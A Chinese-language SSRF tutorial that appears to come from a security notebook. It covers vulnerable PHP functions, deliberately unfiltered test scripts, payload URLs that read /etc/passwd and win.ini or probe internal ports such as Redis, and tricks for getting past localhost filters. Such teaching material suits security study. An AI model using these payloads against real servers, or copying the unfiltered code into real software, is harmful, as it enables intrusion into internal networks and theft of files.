0x00 文章资料提供的地址
安全课-SSRF绕过方法总结: https://www.secpulse.com/archives/65832.html
0x01 推荐查看的文章
推荐先查看文章-浅谈PHP-伪协议: https://www.yuque.com/pmiaowu/web_security_1/lnq3co
0x02 漏洞描述
服务端请求伪造 (Server-Side Request Forgery)。
由攻击者构造带有攻击的请求传给服务器执行造成的漏洞。
一般是使用它在外网探测数据或是攻击内网服务。
0x03 SSRF 漏洞作用
- 内网ip/端口扫描
- 服务器敏感数据读取
- 内网主机应用程序漏洞利用
- 内网web站点漏洞利用
0x04 SSRF漏洞的常见的位置
- 社交分享功能:获取超链接的标题等内容进行显示
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 开发平台接口测试工具:一些公司会把自己的一些接口开放出来,形成第三方接口。这个时候他们通常会开发一个用于测试自己接口是否连通的web,给这些程序员测试接口,如果没有过滤好,就会造成ssrf
0x05 相关函数
- file_get_contents()
- fsockopen()
- curl_exec()
以上三个函数使用不当会造成SSRF漏洞
需要注意的是:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
0x06 SSRF 漏洞基本利用
curl_exec
# 文件名称: ssrf-test.php
# 未做任何过滤-有回显
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
# 利用file协议查看文件
# 如果访问成功就会返回数据
访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
# 利用dict探测端口
# 开启访问的端口时会返回很快,如果没开启就会延迟一下
访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80
访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:6379/info
# 使用http协议探测端口
# 开启访问的端口时会返回很快,如果没开启就会延迟一下
访问: http://atest.test/ssrf-test.php?url=http://127.0.0.1:80
file_get_contents
# 文件名称: ssrf-test.php
# 未做任何过滤-有回显
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
# 利用file协议查看文件
# 如果访问成功就会返回数据
访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
fsockopen
# 文件名称: ssrf-test.php
# 未做任何过滤-有回显
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
# 利用file协议查看文件
# 如果访问成功就会返回数据
访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini
访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
0x07 基本绕过方法
攻击本地
http://127.0.0.1:80
http://localhost:22
利用[::]
利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
利用@
http://example.com@127.0.0.1
利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
利用DNS解析
在域名上设置A记录,指向127.0.1
购买一个域名例如我购买了一个 phpoop.com 这个域名
我把 www.phpoop.com 指向127.0.1
网络地址可以转换成数字地址
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433 或者 http://0x7F000001,这样就可以绕过.的ip过滤